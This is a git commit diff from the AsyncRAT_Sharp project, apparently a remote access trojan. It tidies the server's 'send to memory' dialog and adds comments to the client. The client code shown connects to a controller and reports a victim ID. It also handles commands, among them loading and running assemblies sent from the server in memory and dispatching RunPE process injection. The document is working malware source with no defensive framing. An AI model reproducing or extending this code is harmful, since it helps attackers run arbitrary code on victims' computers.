Clean the code.
Fixed SendToMemory dialog bug.
This commit is contained in:
NYAN CAT 2019-02-06 08:11:10 -08:00
parent e9d1f6932c
commit cda9bb7d43
5 changed files with 67 additions and 57 deletions

View File

@ -217,6 +217,8 @@ namespace AsyncRAT_Sharp
{
SendFileToMemory SF = new SendFileToMemory();
SF.ShowDialog();
if (SF.toolStripStatusLabel1.Text.Length > 0 && SF.toolStripStatusLabel1.ForeColor == Color.Green)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "sendMemory";
msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(SF.toolStripStatusLabel1.Tag.ToString()));
@ -240,6 +242,7 @@ namespace AsyncRAT_Sharp
CL.LV.ForeColor = Color.Red;
});
}
}
SF.Close();
}
}

View File

@ -21,6 +21,8 @@
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<DocumentationFile>
</DocumentationFile>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>x86</PlatformTarget>

View File

@ -23,6 +23,7 @@ using System.Security.Cryptography;
namespace Client
{
/// The Main Settings
class Settings
{
public static readonly string IP = "127.0.0.1";
@ -30,6 +31,8 @@ namespace Client
public static readonly string Version = "0.2.2";
}
/// The Main Class
/// Contains all methods for socket and reading the packets
class Program
{
public static Socket Client { get; set; }
@ -49,6 +52,7 @@ namespace Client
}
}
/// Initialization variables and connect to socket.
public static void InitializeClient()
{
try
@ -80,6 +84,7 @@ namespace Client
}
}
/// Cleanup everything and start to connect again.
public static void Reconnect()
{
if (Client.Connected) return;
@ -88,11 +93,8 @@ namespace Client
try
{
if (Client != null)
{
Client.Close();
Client.Dispose();
}
Client?.Close();
Client?.Dispose();
}
catch { }
@ -101,6 +103,7 @@ namespace Client
InitializeClient();
}
/// Method to send our ID to server's listview.
private static byte[] SendInfo()
{
MsgPack msgpack = new MsgPack();
@ -132,6 +135,8 @@ namespace Client
return strResult.ToString().Substring(0, 12).ToUpper();
}
/// get the length of the buffer by reading byte by byte [1]
/// until we get the full size.
public static void ReadServertData(IAsyncResult ar)
{
try
@ -195,6 +200,7 @@ namespace Client
}
}
/// Handle the packet
public static void Read(object Data)
{
try
@ -245,7 +251,6 @@ namespace Client
thread = new Thread(new ParameterizedThreadStart(RunPE));
}
thread.Start(parameters);
}
break;
@ -304,8 +309,7 @@ namespace Client
private static void SendToMemory(object obj)
{
object[] Obj = (object[])obj;
var Buffer = (byte[])Obj[0];
var Injection = (string)Obj[1];
byte[] Buffer = (byte[])Obj[0];
Assembly Loader = Assembly.Load(Buffer);
object[] Parameters = null;
if (Loader.EntryPoint.GetParameters().Length > 0)
@ -313,7 +317,6 @@ namespace Client
Parameters = new object[] { new string[] { null } };
}
Loader.EntryPoint.Invoke(null, Parameters);
}
private static void RunPE(object obj)
@ -338,6 +341,8 @@ namespace Client
BeginSend(msgpack.Encode2Bytes());
}
/// Send
/// adding the buffersize in the beginning of the stream
public static void BeginSend(byte[] buffer)
{
lock (SendSync)